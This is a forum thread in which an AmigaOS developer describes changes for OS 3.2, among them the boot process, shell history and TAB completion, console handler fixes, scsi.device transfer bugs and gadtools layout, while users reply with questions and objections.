Post by: Thomas Richter on November 26, 2019, 07:43:47 AM
Maybe you could make a debug version of the KS that include a Romable Cop that could be triggered using an NMI (using a key or combination of keys) and that trap all exceptions and trigger the monitor during a crash.
You don't need a custom ROM for that. You can do that right away. COP is triggered during a crash all fine, and the custom key combination is the decimal dot on the numeric keypad. So all you need is available at this point. (-:
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 26, 2019, 08:56:15 AM

Another episode: System-Startup

This is a new ROM component. It can be roughly compared to the init process on Unix machines as it is the first process created by the dos.library. Formerly, the dos.library created the shell, and the shell had to fiddle out what to do with a rather mysterious and undocumented process, and then had to call CliInit(). Now, System-Startup is created right away, and everything that was in CliInit() is now part of System-Startup. At the end of its doing, System-Startup creates the "Initial CLI" and thus boots the system.

So what does Sytem-Startup do?

It first creates and initializes intuition (but see below) and places its library vector in the dos.library and the GlobVec (yuck, we still have it). It then initializes some structures of the dos.library and creates the initial task table (the list of CLIs, none at this point), and then creates the device nodes from the mounted devices that left boot nodes in expansion, i.e. those expansion boards the system can boot from.

Then, it initializes the filesystem and places it in the dos.library. Here is the first difference: If a newer file system has been loaded from RDB, it will be used instead and replace the ROM file system. Thus, if you have an FFS 47 on harddisk, FFS 47 will also be used for your floppy.

It then creaets mount entries for PRT:, PAR: and SER: which go to "L:Port-Handler", as ever. As a new activity, it *also* creates a mount entry for "PIPE:" which goes to "L:Queue-Handler", so you don't have to mount the queue handler manually and can use the "|" (pipe symbol) already in  the initial CLI without mounting PIPE: first.

It then starts the file system of the boot volume and creates all the standard system assigns, L:, FONTS:; DEVS:, LIBS:, S:, C:, SYS: and ENVARC:, and then starts all other volumes that have been recorded in expansion.

After that, it mounts CON:, the con-handler, and creates the mount entries for CON: and RAW:. A new feature is that it checks whether the boot volume or any other volume contains a newer version of L:con-handler, and if so, uses that instead. Thus, the con-handler for the initial CLI may come from disk.

The same goes for RAM: and RAM-Handler, which may also reside on disk as a newer version and then replaces the ROM version, and for the Shell, which is either taken from ROM, or from L:Shell-Seg if one of the volumes mounted so far contains a newer version of it.

For the shell, it then creates the resident-entries "Shell", "BootShell" and "CLI", corresponding to the default user shell with C entry, the boot shell C entry, and the BCPL entry of the shell. They all point to the same shell at this point.

Then, the system checks for available updates on disks, which is a new feature. Thus, for every ROM module not yet initialized System-Startup now checks whether there is a corresponding module on disk that could replace it because it has a newer version. I.e. "DEVS:audio.device" would replace the ROM-based audio.device if it is newer.

For intuition, we have to use a special trick because it is already initialized. 3.2 will come with intuition 47 in ROM. For those that need to use CyberGfx, System-Startup checks the boot volume - and only there - for intuition v40 in LIBS:, or a newer version of intuition everywhere else. If a newer intuition or intuition v40 is found, the exiting copy of intuition is expunged from memory - intuition V47 can be made shutdown, a new feature - and a new intuition is build and installed.

If the boot monitor was DBLPAL or DBLNTSC, System-Startup "enlightens" now the system to use AGA modes, such that the boot shell can also use these new resolutions. This was done by SetPatch before.

Finally, all remaining ROM modules flagged as "AutoInit" are initialized.

The code then opens the CON: window for the boot shell, and S:Startup-Sequence. If flagged in the boot menu, System-Startup initiates another new module, "syslog". I will talk about "syslog" later.  Last but not least, it creates the boot shell with System(), the new functionality I talked about yesterday:

Code: [Select]
SystemTags(NULL,       
SYS_Input,consolestream, /* CON:///-1/AmigaDOS/Auto/NoClose/Smart */
SYS_Output,NULL,
SYS_CmdStream,cmdstream, /* :S/Startup-Sequence */
SYS_Asynch,TRUE,    /* this is the trick */
SYS_UserShell,TRUE, /* use "Shell" as shell */
NP_Name,"Initial CLI",
NP_CopyVars,TRUE,
TAG_DONE);

and thus boots the system, and then dies away. The above "System()" call is the 3.2 equivalent of "newcli", just less mysterious.
Title: Re: Os 3.2 development preview
Post by: CBH on November 26, 2019, 03:14:03 PM

For intuition, we have to use a special trick because it is already initialized. 3.2 will come with intuition 47 in ROM. For those that need to use CyberGfx, System-Startup checks the boot volume - and only there - for intuition v40 in LIBS:

Ah, so everyone's first thought on 3.1.4 release
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 27, 2019, 08:35:09 AM
So, another component: The shell.

The major news is that the shell has now a history, and TAB expansion, a feature long waited for. By "the shell has a history" I mean exactly that: The history function moved from CON: into the shell. In fact, what happens here is that the shell places the console into a new console mode within which the line editing of CON: remains unaltered, just if TAB or any history related keys are pressed, the console reports to the shell by means of a special CSI (control) sequence that includes the search pattern and the key. It is then up to the shell to parse the pattern, scan the path or its history, and bring it back to the screen. The latter works by the already existing ACTION_FORCE packet of the console that was documented before, but did not work quite right in 3.1 according to its specifications as it should insert data into the keyboard buffer. For 3.1, it inserted data into the output buffer, which was not quite intended.

For the records, ACTION_FORCE comes from the WShell, and the new console mode comes from ViNCEd, so ViNCEd supports the new shell right away along with the v47 CON: handler.

The TAB expansion and history functions can be turned off by a shell variable, "set simpleshell on" resets the shell back to 3.1, but then you do not have any history at all because CON: doesn't have it anymore.

Then we have a couple of bug fixes as well: The $? operator that checks for the presence of a variable only worked for environment variables, but not for local variables.

We also have now "&&" as a new shell operator which sequences commands, but does not concatenate outputs. That is, || is a "concatenating pipe", and "&&" is sequential execution of commands.

As the dos.library has now a stderr stream, error output redirection with *> makes now sense, and all the shell internal commands and the commands in C: have been reworked to make use of it.

If you had two variables near each other such as $foo$foo, the shell failed to expand the second variable if there was no space between them. This was due to a mixup in the parser state machine that has been fixed.

The Execute command became a shell internal. There is no longer the need to make it resident to allow recursive execution as it is already part of the shell. An old version of execute as stand-alone will ship on the Install3.2: disk.

The input stream of shell scripts can now be redirected with "<filename" as well, i.e. if "S:foo" is a script "S:foo <bla" pipes the file "bla" into the stdin of the commands in S:foo. This never worked before. In fact, input and output redirection of scripts never worked before.

Input redirection with << did not work for some shell commands due to a mixup in the BCPL buffered IO.

The shell accepts a new shell variable,  "debug". If "debug" is set to "on", the shell prints all the commands it executes through the serial port, at 9600 8N1, for debugging purposes. Usually, however, then the new kickstart component "syslog" sits there and picks them up, and redirects them to RAM: so you can see what happened. There will be more to say about "syslog" and the new boot menu in another episode.




Title: Re: Os 3.2 development preview
Post by: kolla on November 27, 2019, 08:36:40 AM
COP is triggered during a crash all fine, and the custom key combination is the decimal dot on the numeric keypad. So all you need is available at this point. (-:

Unless your Amiga is an A600.
Title: Re: Os 3.2 development preview
Post by: kolla on November 27, 2019, 08:46:07 AM
A new feature is that it checks whether the boot volume or any other volume contains a newer version

Is it really smart to just load any "newer version" from any (randomly) available volume?

If you have multiple partitions with different versions of Amiga OS installed, some include components that are "newer" (as in higher number version string) than those you wish to use from the partition you boot from... how do you prevent those from being loaded? Remove the pure flag on all relevant files?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 27, 2019, 01:21:52 PM
Unless your Amiga is an A600.
In which case you read the bloddy manual. Which is the recommended cause of action for COP anyhow.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 27, 2019, 01:22:56 PM
If you have multiple partitions with different versions of Amiga OS installed, some include components that are "newer" (as in higher number version string) than those you wish to use from the partition you boot from... how do you prevent those from being loaded? Remove the pure flag on all relevant files?
Boot partition first. Then any other partition. Not any different from the logic by which the workbench and icon libraries are loaded. Actually, since A4000T times.
Title: Re: Os 3.2 development preview
Post by: kolla on November 28, 2019, 06:47:36 AM
Boot partition first. Then any other partition. Not any different from the logic by which the workbench and icon libraries are loaded. Actually, since A4000T times.

On A4000T it was already quick&dirty work-around, and back then it was not an issue as those two components either were in kickstart, or they weren't, in which case they could be loaded from disk.

The case now is different, we are now not just talking about components that may or may not be in kickstart, but about updating just about any components that are in kickstart, with rather randomly available components existing on available file systems.

So if you boot from floppy on a system that has a hard drive with several boot partitions that have different versions of workbench.library and icon.library - what can one expect?

Does it check other bootable filesystems first, using boot priority?
Does it just pick the first version it finds that is an "update", or does it continue to scan and pick the one with highest version string?
Does it care about pure flags, like LoadModule now does?
Does it do any validation, or will it blow up if it "by accident" finds non-native modules from available on AROS, OS4 or MorphOS partitions?
Title: Re: Os 3.2 development preview
Post by: kolla on November 28, 2019, 06:50:47 AM
In which case you read the bloddy manual. Which is the recommended cause of action for COP anyhow.
Right, but why not just use a more available and less obscure hotkey as default in the first place.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 28, 2019, 08:07:46 AM
More components: The bootmenu.

Actually, we haven't found any new or old bugs here, just added features. The "boot options" page gets now three new checkbox gadgets. We already had "Disable CPU Caches" as workaround feature for some broken software.

A new gadget is "Update ROM Modules", which is normally checked. If this is not checked, System-Startup will not look for new modules and will operate with the ones in ROM. This may help in case the system modules got somewhat trashed.

We also have "Trace startup-sequence". If this button is checked, the "Initial CLI" gets the "Interactive" variable set to "on", so you can trace through the startup-sequence and check every command executed.

Finally, "Enable System log". This loads and initiates a new module, "syslog", which either sits in ROM, or in LIBS:modules/syslog. If it is enabled, it grabs all data going through the serial port and redirects it to RAM:syslog. It also sets the Shell variable "debug" to "on". If so, the shell will log each executed command through syslog. Thus, you will be able to see what the shell is actually executing, and the debug output of any other program that would normally go through the serial port.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 28, 2019, 08:08:26 AM
Right, but why not just use a more available and less obscure hotkey as default in the first place.
Such as RETURN probably? Come think about it, would you?
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on November 29, 2019, 04:14:28 AM
Is there or will be a way to find all local variables? Will “set” list all variables that affect shell?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 29, 2019, 08:51:28 AM
Is there or will be a way to find all local variables? Will “set” list all variables that affect shell?
A list of all local variables is available with "set", as always. The Shell.guide (to be updated) will also provide a list of the variables that impact the shell.

We currently have "echo" which will echo commands if set to "on", "interactive" which will prompt for commands before execution, "debug" which enables logging, "simpleshell" which disables TAB expansion, and "oldredirect" which requires that shell redirection is a positional argument.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 29, 2019, 08:57:55 AM
Next episode: trackdisk.device.

Actually, one probably wouldn't expect much news from such an old device, but yet there is. The trackdisk.device suffered from two bugs which remained undetected in 3.1.4.

One is that with a properly crafted sector layout, the trackdisk device will overwrite memory beyond the track buffer because it does not check the sector index fully.

Another is that the device uses a busy-loop to time the step motor frequency, though this loop is not throttled by any type of hardware register access. This means that on fast hardware, floppy seeking becomes unreliable because the stepping frequency becomes too high. Now the loop is throttled by a hardware register access, so the timing should be (more) reliable.
Title: Re: Os 3.2 development preview
Post by: kolla on November 29, 2019, 09:46:27 AM
Right, but why not just use a more available and less obscure hotkey as default in the first place.
Such as RETURN probably? Come think about it, would you?
I was not thinking of Enter, no. The otherwise useless caps-lock would be my choice.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 30, 2019, 08:16:52 AM
Another component: The con-handler.

The con-handler is providing the window the shell runs in, but also other applications can open a CON: and request text lines, or - as a variant - keyboard presses from RAW:, the "non-cooked" version of CON:

There is surprisingly much about CON:, its improvements and defects. Probably some bugs first:

*) ACTION_WAIT_CHAR aka WaitForChar() was buggy, if several tasks inititated ACTION_WAIT_FOR_CHAR simultaneously, the handler might have done strange things. It neither counted the number of lines correctly to make ARExx happy.
*) Errors returning from the output device, i.e. typically the console.device, were not forwarded to the caller.
*) The parser of the incoming CSI sequences from the console.device improved. Now cursor movements by more than one position are supported - and also necessary as part of ACTION_FORCE and the tab expansion. ESC[ was not handled as substitute for CSI, though it is necessary to do so for 7-bit connections (see also below).
*) ACTION_STACK and ACTION_QUEUE (both for ARexx) had some issues not collecting data correctly. ACTION_FORCE was implemented outright incorrectly and did not offload its data into the keyboard input buffer, but the output buffer.
*) CON: forgot to re-enable the close-window event when switching from RAW mode to CON mode, thus leaving the user sit with a function-less close gadget.
*) ACTION_DISK_INFO disabled the auto-ability of the window without a chance to re-enable it. CON: now implements ACTION_UNDISK_INFO, which is already in use by some programs (Ed, More, Dir and some more).
*) An Off-by-one error may have read uninitialized memory when pasting into the console.
*) Any pending read request was not answered when closing the window, potentially causing a crash.
*) The con window is now opened in "new style" colors. While it makes typically no difference, it implies that the "Ed" window is now black on white, not yellow on black.
*) ACTION_GET_VARS was never documented, and allowed access to the (ever changing) global variables of CON: This is an interface nightmare that was just dropped for sanity.
*) ACTION_REPLACE, ACTION_PEEK, ACTION_SIZE_HIST, ACTION_SET_HIST and ACTION_GET_HIST were documented, but never implemented. As their purpose was unclear, their support was dropped.
*) Actually, the entire history functionality was dropped. This is done by the shell in a much better way with a much saner interface.
*) The console supports now ViNCEd's "medium mode" which forwards history requests and TAB expansions as special CSI sequences to the shell. Which makes use of it. So we finally have TAB expansion in the console, by the right party, which is the shell.
*) The con-handler had a very strange bug where, if you left the cursor sitting at the start of a physical line that is part of a long logical line going through more than one physical line, the console.device broke the line implicitly. Thus, when resizing the window, the cursor was not positioned correctly and the logical line was split. This was very hairy to debug and to fix as it depends on some pecularities of the console.device.
*) If concurrent input and output was happening, results may have been strange as the con-handler attempts to buffer them, and delay its execution, though not always with the correct end result as input and output cursor/replace/insertion activities are not commutatitive and cannot be interchanged freely.
*) The con-handler was extended not only to operate on top of the console.device, but any other device as well. As such, it replaces now the AUX-Handler completely. In fact, all of AUX what is left is a small stub function that initiates the con-handler with the right parameters. Which implies that you can get TAB-Expansion on a shell running over a serial line. Yay!
*) A forward slash in the window title can now be escaped by a backwards slash, and the backwards slash by a backwards slash itself. This also allows complex window titles.
*) The console window can now also optionally be equipped with an iconification gadget, all provided conclip is running to take care of the events. This allows iconification of shell windows.
*) Also, the console window allows dropping icons into it which are then expanded to the corresponding file names as if typed on the keyboard, including escaping of special characters. Again, this requires the help of conclip.

So, we are moving towards a much smarter console. Unfortunately, there is not yet a scroll gadget because this would require support from the console.device - which I'm currently not trying to touch. But this will come, sooner or later.




Title: Re: Os 3.2 development preview
Post by: kolla on November 30, 2019, 03:45:02 PM
What if console-handler had built in multiplexer with scrollback buffers...
Title: Re: Os 3.2 development preview
Post by: Matt_H on November 30, 2019, 04:38:04 PM
Quote
So, we are moving towards a much smarter console. Unfortunately, there is not yet a scroll gadget because this would require support from the console.device - which I'm currently not trying to touch. But this will come, sooner or later.

I'm genuinely curious: WShell, KShell (and others? ViNCEd?) have had scroll gadgets for a long time. How do they implement them? Hacks?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 30, 2019, 05:03:37 PM
I'm genuinely curious: WShell, KShell (and others? ViNCEd?) have had scroll gadgets for a long time. How do they implement them? Hacks?
I do not know how the former two work, but ViNCEd is not based on the console.device at all. All its console handling is entirely on its own, which is also the reason why the latter implements a more or less complete VT220 CSI command set, and the console.device and CON: only a subset of it.

It will require some research on my side whether we can get away with some smaller modifications of the console.device or need a rewrite of it, but this is just another dragon I do not quite want to attack right now as there is a lot more to do.

The console.device is just another of these obscure arcane parts of the Os. Entirely assembler, hard to read, hard to update. It will take some time.
Title: Re: Os 3.2 development preview
Post by: Matt_H on December 01, 2019, 02:13:15 AM
KShell adds an iconify gadget to the window as well, so I wonder if there are some hooks into Intuition?

I just realized the OS4 shell/console also has a scroll gadget, so maybe there's some documentation/code you could borrow from that when the time comes.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 01, 2019, 06:57:56 AM
KShell adds an iconify gadget to the window as well, so I wonder if there are some hooks into Intuition?
I will report about intuition of course. Yes, there is a new system gadget, and you can request it with an appropriate flag, and it sends an IDCMP like every other system gadget.

I just realized the OS4 shell/console also has a scroll gadget, so maybe there's some documentation/code you could borrow from that when the time comes.
Not for 3.2, thank you. There is more than enough to do.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 01, 2019, 09:18:09 AM
Another new component: The ram-handler

The most important new feature of the v47 ram-handler are "external links", i.e. links from the ram disk to outside file systems that are resolved as soon as a file or directory is accessed. You would typically use this to point "RAM:ENV" to "ENVARC:" such that any file that is accessed in ENV: is automatically copied from ENVARC: to ENV: when needed. There is no need for HappyEnv or any other dedicated env-handler as RAM: does it all itself.

There are some improvements in memory management, though. Regularly sized blocks (i.e. full size) are taken directly from exec instead from the pool as there is no benefit going through the indirection. RAM is, however, now smarter saving space by only allocating what is needed for the file. Whereas the previous versions of RAM: allocated always entire blocks, except for very small files, the v47 version ensures that the last block of a file does not take an entire block, but only the fraction that is needed.

Finally, we had one interesting new/old bug, in (sigh) ExNext() (how unsurprising). If you deleted a file pointed to by fib_Key in the FileInfoBlock, and the memory taken for this file was overwritten or released, ExNext() on the (then stale) key could have caused a MuGA hit. The hit itself was harmless, but the code that caused the hit was non-sensical, so was repaired and fixed. That was not a new bug, but an old one that might have been there all the way from the ancient days.

This said, did I mention that ExNext() is misdesigned?


Title: Re: Os 3.2 development preview
Post by: kolla on December 01, 2019, 10:17:19 AM
You would typically use this to point "RAM:ENV" to "ENVARC:" such that any file that is accessed in ENV: is automatically copied from ENVARC: to ENV: when needed.
The only time a copy in env: is needed, is when the content differs from that in envarc:, so instead of copy on access, it would make sense to just copy on write to env: and on access follow the link to envarc:.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 01, 2019, 10:31:20 AM
The only time a copy in env: is needed, is when the content differs from that in envarc:, so instead of copy on access, it would make sense to just copy on write to env: and on access follow the link to envarc:.
That would conflict with how ENV: is used. A write into ENVARC: shall *not* be reflected in ENV: ENVARC: contains the "saved preferences". "ENV:" contains the "used preferences". The HappyEnv "copy on access" functionality proved useful and robust over the years. If a concept works, I'll take it.
Title: Re: Os 3.2 development preview
Post by: kolla on December 01, 2019, 01:09:25 PM
An exclusive write to envarc: is also reflected in env: today with happyenv/env-handler, but no program really does this.

I cannot think of any program that only writes to envarc: without also writing to env: - can you? “Save” means “save and use” for all prefs programs at least. Or do you plan to change that?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 01, 2019, 03:08:24 PM
I cannot think of any program that only writes to envarc: without also writing to env: - can you?
Yes.

“Save” means “save and use” for all prefs programs at least.
Turboprint.
Title: Re: Os 3.2 development preview
Post by: kolla on December 01, 2019, 03:44:09 PM
Really, sounds confusing - “save, but do not use!”

Well, then perhaps SetEnv should be improved with this feature too, “SetEnv SAVEONLY” or thereabouts... and likewise for OS prefs programs.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 02, 2019, 06:58:26 AM
Next component: The scsi.device.

This device is one of the "bad surprises" of the operating system over and over again. It started as an SCSI device for the A3000, and then was drilled up to support IDE, then again ATAPI, so the code quality is... quite moderate, to put it this way. It consists of many files that are conditionally used depending on the compiler option and the build target, and it is not easy to read and follow.

"Of course" this caused problems during development, and the infamous "maxtransfer" bug where data losses were caused if more than 255 sectors are transported in one go was, actually, in multiple places, not just one. One of them was a higher level bug we fixed, namely at the level where 'trackdisk-like' read and write commands are translated into 'scsi-like' commands. But what we forgot is that there is also *the very same bug again* on a lower level where the scsi-level commands are translated to IDE commands. Thus, if the command was not broken up into 255 sector pairs at 'trackdisk level', for example because the user selected "SCSI direct" options, then the same bug appeared again at the 'scsi to IDE' transfer level. Yuck.

So I hope we have get this bugger done for good.

There are a couple of other minor changes. For example 'TD_SEEK' was not implemented correctly. Actually, I wonder why anyone would want to issue this command - 'move the read/write head to the indicated sector' - on a harddisk. But, at least, the harddisk should not attempt to write to the surface if it is issued. This was an old bug that got fixed.

Then, the code used its own implementation for the "Gary IDE detection logic", but code for that is already present in the exec.library, and the code there also depends on the motherboard model by a compiler switch. Thus, instead of repeating the whole logic again in the scsi.device, the function now falls back to the exec.library.

Finally, some words of warning:

Concerning maxtransfer: While the scsi.device breaks now sector counts > 255 down into transfers of 255 bytes each, it *seems* that there are at least some buggy implementations of IDE around - typical flash chips - that consider the byte count as "signed byte" due to an oversight, and that do stupid things for counts > 127. So for *some arrangements*, users still have to use a maxtransfer value, though then of 0x0000ffe0. This is generally not needed, but only for buggy drives beyond our control.

And another warning: Some people still use IDEFix. First, this is unnecessary as the scsi.device implements ATAPI now fine, so a second level patch is not necessary. Second, IDEfix does not issue LBA48 commands as the scsi.device does, and hence limits the maximum drive capacity to (IIRC) 128MB. Any larger drive will appear in the HDToolBox only as 128MB drive. Then people come along, partition their drive/card under UAE, and insert it into the Amiga, and then all hell breaks loose because IDEfix cannot address any blocks beyond the 128MB limit, even though the partition appears to be the right size.

Solution is ideally not to use idefix, or simply "partition the drive on the system you want to use it on" because you then become aware of the limits of the software you depend on. Well, hopefully...

Title: Re: Os 3.2 development preview
Post by: kolla on December 02, 2019, 07:18:08 AM
So this is all bogus?

http://aminet.net/package/driver/media/IDEfix97

Quote
IDE-fix:
Enhance your IDE-port! Faster transfer, faster booting, less CPU use!
No MaxTransfer troubles, set MaxTransfer as big as you like!
TD64 & NSD commands supported, use IDE drives bigger than 4 GIG with your
Amiga (requires FileSystem with TD64 and/or NSD support).
Patches into the system "on the fly", no reboot required.
Use 4 IDE drives with your Amiga (with additional 4 drive adapter)!!!
Supports removable IDE units (SyQuest or ZIP IDE drives) without trouble!
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 02, 2019, 07:29:19 AM
So this is all bogus?
No, superfluous by the time being, and not updated, and not aware of large drives. Olivier Kastl knew what he was doing, but this package wasn't updated for a long time, thus bare with him that it is no longer as useful as it was back then. Just remove it.
Title: Re: Os 3.2 development preview
Post by: kolla on December 02, 2019, 07:29:55 AM
Second, IDEfix does not issue LBA48 commands as the scsi.device does, and hence limits the maximum drive capacity to (IIRC) 128MB. Any larger drive will appear in the HDToolBox only as 128MB drive. Then people come along, partition their drive/card under UAE, and insert it into the Amiga, and then all hell breaks loose because IDEfix cannot address any blocks beyond the 128MB limit, even though the partition appears to be the right size.

Ah, now I get it - you just wrote 128MB instead of 128GB three times in a row!

(Also, "Gary IDE detection logic" - do you mean "Gayle IDE detection logic"? Or is this another example of German humour?)
Title: Re: Os 3.2 development preview
Post by: Amigo1 on December 02, 2019, 01:23:48 PM
There is something which possibly needs to be corrected in the Wiki https://wiki.amigaos.net/wiki/AmigaOS_Versions (https://wiki.amigaos.net/wiki/AmigaOS_Versions)

In the table,
Quote
"version 43" "Release Kickstart 3.2" "This is the original Release 3 revision for Amiga Walker model (never completed). This revision was used for stuff done by/for Amiga Technologies/Amiga International (1995)."

 :)
Title: Re: Os 3.2 development preview
Post by: kolla on December 02, 2019, 01:29:19 PM
Just remove it.
Does this mean support for 4 drive adapters will be built in with the OS 3.2 scsi.device?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 02, 2019, 02:04:37 PM
Does this mean support for 4 drive adapters will be built in with the OS 3.2 scsi.device?
No, there is no third party product support built into the kickstart.
Title: Re: Os 3.2 development preview
Post by: CBH on December 02, 2019, 04:55:11 PM
And another warning: Some people still use IDEFix. First, this is unnecessary as the scsi.device implements ATAPI now fine

As of 3.2 or 3.1.4?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 02, 2019, 05:02:08 PM
As of 3.2 or 3.1.4?
Since 3.1.4.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 03, 2019, 07:00:40 AM
Another component: Gadtools.

Gadtools is a rather simple GUI toolset that can be used to build buttons and menus. As far as bugs are concerned, gadtools had a defect when including a boopsi as replacement for an image in a menu to be constructed and created nonsense if you tried. This had been fixed, boopsis are now acceptable for menu items.

DrawBevelBox() supports now a new box type, or rather forwards a new box type to a new flavour of the intuition frameiclass. This frame type is a double-lined black/white frame with an optional text on top called a "context frame". It is exactly the type of frame the preferences editors draw around contextual gadgets. The code has been factored out from the preferences editors and put into intuition as it is used so often, and made accessible by a simple call through gadtools.

The most important change is that gadtools allows now building of font-sensitive GUIs. A special flag in the "NewGadget" structure instructs gadtools that gadget coordinates and positions are relative to a font that is recorded in the VisualInfo, and which can also be changed there. If this flag is active, the coordinate/sizes are given in quarters of the font width and height, with an additional -8..+7 pixel offset in the low order bits. Gadtools then automatically scales the coordinates according to the font dimension. As result, all system GUIs such as preferences, Format, DiskCopy and so on scale now according to the system default font and are no longer bound to topaz.8 as they used to be.

It is a very simple method and only works well for fixed-width fonts. Otherwise, gadtools would have to go through a complete window layout engine that moves gadgets around for an optimal look. We have that, too, it is part of the layout.class of reaction. While the latter GUI layout is certainly much more flexible and allows arbitrary fonts, it is also a lot slower and causes a lot of stress for the lower-end machines, which is one of the reasons why we did not pick it for the 3.2 system programs at this stage. So pick your poison: Simple, with some restrictions, or flexible, but slower.

Anyhow, developers have now freedom: Either choose the simple gadtools "fixed width fonts raster based" gadtools layout, or the flexible reaction "layout.class" engine.
Title: Re: Os 3.2 development preview
Post by: kolla on December 03, 2019, 07:21:45 AM
Does this mean support for 4 drive adapters will be built in with the OS 3.2 scsi.device?
No, there is no third party product support built into the kickstart.
Well, then many will just continue to use IDEFix.

The combo “hard drive + CD drive + external CF/SD” seems popular, and the “third party product” is implemented by several vendors as well as hobbyists, and it is also supported by at least one popular FPGA system.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 03, 2019, 07:30:07 AM
The combo “hard drive + CD drive + external CF/SD” seems popular, and the “third party product” is implemented by several vendors as well as hobbyists, and it is also supported by at least one popular FPGA system.
With several different protocols, in several variants. Sorry, I do not want to create a maintenance nightmare here and don't want to make this my problem. If you use IDEfix, go ahead, but do not complain if you run into its restrictions.
Title: Re: Os 3.2 development preview
Post by: kolla on December 03, 2019, 08:08:08 AM
I am not aware of several different protocols - could you elaborate?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 03, 2019, 08:21:17 AM
I am not aware of several different protocols - could you elaborate?
Several variants exist how such adapters identify themselves as being present.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on December 03, 2019, 06:28:18 PM
Can this new title bevelbox be used as just a title bar or will an argument of zero for height cause the box to overdraw itself with the bottom border?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 03, 2019, 07:35:56 PM
Can this new title bevelbox be used as just a title bar or will an argument of zero for height cause the box to overdraw itself with the bottom border?
If you just want a headline, I suggest graphics/Text(). The bevel box is a variant of a frame, with a title.
Title: Re: Os 3.2 development preview
Post by: kolla on December 03, 2019, 08:36:44 PM
Can you say something about ASL and requesters? Will they too follow the same layout limitations and settings as the prefs programs? Will there at last be a RequestString coming with the OS that is system conform, ASL based and not requiring (ancient) reqtools.library?
Title: Re: Os 3.2 development preview
Post by: CBH on December 04, 2019, 12:15:45 AM
I am not aware of several different protocols - could you elaborate?
Several variants exist how such adapters identify themselves as being present.

Someone is going to have to do something eventually. IDE splitters being incompatible with the OS drive handling improvements means that the people most interested in those improvements can't use them.

Even something basic for the scsi.device to say "hey is there any more IDE ports down there?" so that something third party can yell back "over here, here's how you talk to them" -hopefully without needing a reboot.

Else we're forever going to see the new os refinements, cd filesystem etc ignored in favor of inserting elbox disk and clicking next repeatedly until all the drives start working.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 04:47:21 AM
Else we're forever going to see the new os refinements, cd filesystem etc ignored in favor of inserting elbox disk and clicking next repeatedly until all the drives start working.

Why don't you talk to Elbox then? It's their product, and it's their duty to keep it updated. Is there any reason why the work of third party developers has to be offloaded to the core development team? We cannot even maintain their product - there is no specification I have, there is no hardware to test with we have, we cannot give any guarantee that such a code would be correct.

So, frankly, how could this possibly work? A hardware developer not taking his products and clients serious, but we should help out to fill the gap?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 05:06:08 AM
Next component: The FastFileSystem.

There is not really much to say as we haven't found any bugs. There are two slight improvements:

First, the FFS stores now all the bitmap blocks contiguous instead of interleaved with the bitmap list blocks. This has the (potential) advantage that a future FFS implementation may read them in one single go. We currently read them one by another. That's ok, but not quite as fast as we could. Still, it's faster than the previous version of the FFS as the code no longer allocates the memory for each block individually, reads it, and then releases it again, so AllocMem() and FreeMem() were stressed quite a lot. Instead, the FFS makes one allocation, and then keeps it.

Second, the FFS supports now ACTION_DIE, a new dos packet, that indicates to the file system that it should shut down if possible, releasing all its resources. It remains mounted, but with no handler task attached. This is one of the core ingredients to the new "Mounter" tool which mounts partitions from the RDB, and - as part of its job - also unmounts previous file systems on the same physical layer. With ACTION_DIE, it can release many more resources and does not have to keep copies of the file system lie around in memory, doing nothing.

Actually, ACTION_DIE was already integrated into CrossDos and the CDFS in 3.1.4, so we just completed a job that was started long before. It was a bit more tricky for the FFS because the FFS is heavily multi-threaded, and its code flow is not exactly easy to follow.

To trigger an ACTION_DIE manually, the "mount" command received a new option: "SHUTDOWN". Thus, "mount df0: SHUTDOWN" un-mounts df0: All provided, of course, that there are no locks open on DF0:, no files are open, and the FFS is idle as you would otherwise "pull the rug under its feet".

"Assign Dismount DF0:" is quite different. All it does is that it makes the mounted file system invisible to the dos.library and hence to programs that want to open files on it, but it keeps running in the background, potentially modifying the disk, and potentially (still) reacting on programs that talk to it. Thus, if a program still accesses the disk, "Assign Dismount" will not stop such programs, but the program will continue to operate. If you mounted a different disk layout on the same drive, this will cause quite some desaster.....

So the old rule still applies: RDB is not for removable media. Mount them with "SuperFloppy = 1", and no RDB on them, and the FFS will take care about the disk geometry itself and will size itself accordingly.

Thus, a safer way to un-mount a partition is first to attempt a "mount shutdown", and if that worked, kick the mount out of the system with "Assign dismount". Unfortunately, the latter is still not quite clean as it cannot reclaim the memory for the actual DosNode (i.e. the information on the disk in the dos.library) as there are multiple ways how it could have been allocated, but at least the major part of the memory and resouces is then cleanly released.
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on December 04, 2019, 06:45:02 AM
Thanks for all the interesting things coming up for 3.2 -- taking me awhile to catch up :)

*) The con window is now opened in "new style" colors. While it makes typically no difference, it implies that the "Ed" window is now black on white, not yellow on black.

Does this mean that that these escape codes for changing foreground and background color would work with Ed with the correct colors?   

Code: [Select]
echo "*e[>1m*e[32;41m*e[0;0H*e[J"
prompt "*n*e[>1m*e[33;41m*e[1m%N.%R.*e[30;41m%S>*e[0m*e[32;41m "
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 06:49:51 AM
